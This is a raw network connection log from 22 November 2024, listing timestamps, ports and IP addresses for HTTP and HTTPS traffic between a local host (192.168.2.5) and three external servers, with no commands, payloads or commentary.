Nov 22, 2024 00:12:03.455843925 CET	49916	443	192.168.2.5	52.168.117.168
Nov 22, 2024 00:12:03.455930948 CET	443	49916	52.168.117.168	192.168.2.5
Nov 22, 2024 00:12:03.456012964 CET	49916	443	192.168.2.5	52.168.117.168
Nov 22, 2024 00:12:03.456109047 CET	49916	443	192.168.2.5	52.168.117.168
Nov 22, 2024 00:12:03.456144094 CET	443	49916	52.168.117.168	192.168.2.5
Nov 22, 2024 00:12:03.671987057 CET	443	49918	13.107.246.63	192.168.2.5
Nov 22, 2024 00:12:03.674968958 CET	49918	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:12:03.674992085 CET	443	49918	13.107.246.63	192.168.2.5
Nov 22, 2024 00:12:03.675571918 CET	49918	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:12:03.675578117 CET	443	49918	13.107.246.63	192.168.2.5
Nov 22, 2024 00:12:03.679280996 CET	443	49915	13.107.246.63	192.168.2.5
Nov 22, 2024 00:12:03.679311037 CET	443	49915	13.107.246.63	192.168.2.5
Nov 22, 2024 00:12:03.679402113 CET	49915	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:12:03.679416895 CET	443	49915	13.107.246.63	192.168.2.5
Nov 22, 2024 00:12:03.679661036 CET	49915	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:12:03.679678917 CET	49915	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:12:03.679685116 CET	443	49915	13.107.246.63	192.168.2.5
Nov 22, 2024 00:12:03.679697990 CET	49915	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:12:03.679883957 CET	443	49915	13.107.246.63	192.168.2.5
Nov 22, 2024 00:12:03.679929018 CET	443	49915	13.107.246.63	192.168.2.5
Nov 22, 2024 00:12:03.680226088 CET	49915	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:12:03.683712006 CET	49927	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:12:03.683757067 CET	443	49927	13.107.246.63	192.168.2.5
Nov 22, 2024 00:12:03.683840990 CET	49927	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:12:03.684111118 CET	49927	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:12:03.684127092 CET	443	49927	13.107.246.63	192.168.2.5
Nov 22, 2024 00:12:03.901149988 CET	443	49916	52.168.117.168	192.168.2.5
Nov 22, 2024 00:12:03.901248932 CET	443	49916	52.168.117.168	192.168.2.5
Nov 22, 2024 00:12:03.901633978 CET	49916	443	192.168.2.5	52.168.117.168
Nov 22, 2024 00:12:03.901788950 CET	49916	443	192.168.2.5	52.168.117.168
Nov 22, 2024 00:12:03.901812077 CET	443	49916	52.168.117.168	192.168.2.5
Nov 22, 2024 00:12:03.901825905 CET	49916	443	192.168.2.5	52.168.117.168
Nov 22, 2024 00:12:03.901881933 CET	49916	443	192.168.2.5	52.168.117.168
Nov 22, 2024 00:12:04.091145039 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.091176033 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.091222048 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.091227055 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.091243982 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.091248989 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.091285944 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.091339111 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.091365099 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.091383934 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.091401100 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.091418982 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.091437101 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.091448069 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.091475964 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.117657900 CET	443	49918	13.107.246.63	192.168.2.5
Nov 22, 2024 00:12:04.117686987 CET	443	49918	13.107.246.63	192.168.2.5
Nov 22, 2024 00:12:04.117893934 CET	49918	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:12:04.117909908 CET	443	49918	13.107.246.63	192.168.2.5
Nov 22, 2024 00:12:04.118012905 CET	49918	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:12:04.118026018 CET	443	49918	13.107.246.63	192.168.2.5
Nov 22, 2024 00:12:04.118037939 CET	49918	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:12:04.118221998 CET	443	49918	13.107.246.63	192.168.2.5
Nov 22, 2024 00:12:04.118259907 CET	443	49918	13.107.246.63	192.168.2.5
Nov 22, 2024 00:12:04.118552923 CET	49918	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:12:04.120641947 CET	49928	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:12:04.120678902 CET	443	49928	13.107.246.63	192.168.2.5
Nov 22, 2024 00:12:04.120996952 CET	49928	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:12:04.121109009 CET	49928	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:12:04.121119976 CET	443	49928	13.107.246.63	192.168.2.5
Nov 22, 2024 00:12:04.180267096 CET	443	49917	52.168.117.168	192.168.2.5
Nov 22, 2024 00:12:04.180401087 CET	443	49917	52.168.117.168	192.168.2.5
Nov 22, 2024 00:12:04.180896044 CET	49917	443	192.168.2.5	52.168.117.168
Nov 22, 2024 00:12:04.180936098 CET	443	49917	52.168.117.168	192.168.2.5
Nov 22, 2024 00:12:04.180996895 CET	49917	443	192.168.2.5	52.168.117.168
Nov 22, 2024 00:12:04.181019068 CET	49917	443	192.168.2.5	52.168.117.168
Nov 22, 2024 00:12:04.212068081 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.212094069 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.212157011 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.212201118 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.290894032 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.290963888 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.291019917 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.291100979 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.295092106 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.295164108 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.295202971 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.295280933 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.301490068 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.301553011 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.301661015 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.301717043 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.309922934 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.309940100 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.309983015 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.309998989 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.318296909 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.318347931 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.318454981 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.318495989 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.327058077 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.327116966 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.327192068 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.327246904 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.334778070 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.334846020 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.334856987 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.334929943 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.343086004 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.343173027 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.343220949 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.343379974 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.351396084 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.351473093 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.351644993 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.351701021 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.359153986 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.359245062 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.359328985 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.360013008 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.376693010 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.376779079 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.376784086 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.377531052 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.410475016 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.410635948 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.415262938 CET	443	49921	52.168.117.168	192.168.2.5
Nov 22, 2024 00:12:04.416546106 CET	49921	443	192.168.2.5	52.168.117.168
Nov 22, 2024 00:12:04.416557074 CET	443	49921	52.168.117.168	192.168.2.5
Nov 22, 2024 00:12:04.418025970 CET	443	49921	52.168.117.168	192.168.2.5
Nov 22, 2024 00:12:04.418168068 CET	49921	443	192.168.2.5	52.168.117.168
Nov 22, 2024 00:12:04.418478966 CET	49921	443	192.168.2.5	52.168.117.168
Nov 22, 2024 00:12:04.418561935 CET	443	49921	52.168.117.168	192.168.2.5
Nov 22, 2024 00:12:04.418637991 CET	49921	443	192.168.2.5	52.168.117.168
Nov 22, 2024 00:12:04.418646097 CET	443	49921	52.168.117.168	192.168.2.5
Nov 22, 2024 00:12:04.418709993 CET	49921	443	192.168.2.5	52.168.117.168
Nov 22, 2024 00:12:04.418731928 CET	443	49921	52.168.117.168	192.168.2.5
Nov 22, 2024 00:12:04.435425043 CET	443	49922	52.168.117.168	192.168.2.5
Nov 22, 2024 00:12:04.435806990 CET	49922	443	192.168.2.5	52.168.117.168
Nov 22, 2024 00:12:04.435827971 CET	443	49922	52.168.117.168	192.168.2.5
Nov 22, 2024 00:12:04.436894894 CET	443	49922	52.168.117.168	192.168.2.5
Nov 22, 2024 00:12:04.436979055 CET	49922	443	192.168.2.5	52.168.117.168
Nov 22, 2024 00:12:04.437580109 CET	49922	443	192.168.2.5	52.168.117.168
Nov 22, 2024 00:12:04.437649012 CET	443	49922	52.168.117.168	192.168.2.5
Nov 22, 2024 00:12:04.437870026 CET	49922	443	192.168.2.5	52.168.117.168
Nov 22, 2024 00:12:04.437876940 CET	443	49922	52.168.117.168	192.168.2.5
Nov 22, 2024 00:12:04.437896967 CET	49922	443	192.168.2.5	52.168.117.168
Nov 22, 2024 00:12:04.437906027 CET	443	49922	52.168.117.168	192.168.2.5
Nov 22, 2024 00:12:04.460623980 CET	443	49920	13.107.246.63	192.168.2.5
Nov 22, 2024 00:12:04.461180925 CET	49920	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:12:04.461211920 CET	443	49920	13.107.246.63	192.168.2.5
Nov 22, 2024 00:12:04.461639881 CET	49920	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:12:04.461647034 CET	443	49920	13.107.246.63	192.168.2.5
Nov 22, 2024 00:12:04.462017059 CET	49921	443	192.168.2.5	52.168.117.168
Nov 22, 2024 00:12:04.477633953 CET	49922	443	192.168.2.5	52.168.117.168
Nov 22, 2024 00:12:04.492405891 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.492424965 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.492676020 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.494891882 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.494955063 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.495009899 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.495187044 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.500138998 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.500195980 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.500241995 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.500278950 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.505423069 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.505477905 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.505518913 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.505705118 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.510791063 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.510818005 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.510890961 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.510919094 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.515924931 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.515978098 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.516026974 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.516076088 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.521291018 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.521307945 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.521347046 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.521374941 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.526535034 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.526563883 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.526616096 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.531727076 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.531800985 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.531811953 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.531856060 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.536994934 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.537050009 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.537097931 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.537146091 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.542268991 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.542284966 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.542324066 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.542339087 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.546159029 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.546175003 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.546205997 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.546230078 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.549845934 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.549910069 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.549956083 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.550036907 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.553680897 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.553734064 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.553771973 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.553827047 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.557471991 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.557526112 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.557569981 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.557615995 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.561239958 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.561290979 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.561336994 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.561388016 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.565057993 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.565109015 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.565136909 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.565340996 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.568933964 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.568952084 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.568994999 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.572645903 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.572705984 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.572747946 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.572786093 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.576518059 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.576536894 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.576577902 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.576577902 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.580295086 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.580367088 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.580449104 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.580540895 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.584163904 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.584181070 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.584225893 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.584245920 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.587970018 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.588021994 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.693356037 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.693413973 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.693499088 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.693551064 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.694935083 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.694983006 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.695378065 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.695429087 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.695532084 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.695575953 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.698445082 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.698523998 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.698555946 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.698609114 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.701432943 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.701512098 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.701591969 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.701639891 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.704497099 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.704524040 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.704591036 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.707493067 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.707613945 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.707645893 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.707663059 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.710689068 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.710706949 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.710740089 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.710762024 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.713157892 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.713244915 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.713504076 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.713555098 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.715970993 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.716029882 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.716082096 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.716156960 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.718749046 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.718817949 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.718848944 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.718945980 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.721517086 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.721580982 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.721649885 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.721915960 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.724473000 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.724490881 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.725985050 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.725985050 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.727252007 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.727271080 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.727307081 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.727334023 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.730500937 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.730516911 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.730547905 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.730571032 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.732683897 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.732745886 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.732809067 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.732853889 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.735429049 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.735482931 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.735532999 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.735579967 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.738224983 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.738275051 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.738343000 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.738387108 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.741199017 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.741215944 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.741274118 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.741290092 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.743803024 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.743858099 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.743978024 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.744040966 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.746606112 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.746649027 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.746659994 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.746690989 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.749666929 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.749691010 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.749715090 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.749730110 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.752177000 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.752233028 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.752377987 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.752460957 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.755203009 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.755273104 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.755526066 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.755589008 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.757744074 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.757803917 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.757843971 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.757894993 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.760524988 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.760593891 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.760651112 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.760902882 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.763303995 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.763364077 CET	49919	80	192.168.2.5	185.215.113.16
Nov 22, 2024 00:12:04.763529062 CET	80	49919	185.215.113.16	192.168.2.5
Nov 22, 2024 00:12:04.763571978 CET	49919	80	192.168.2.5	185.215.113.16
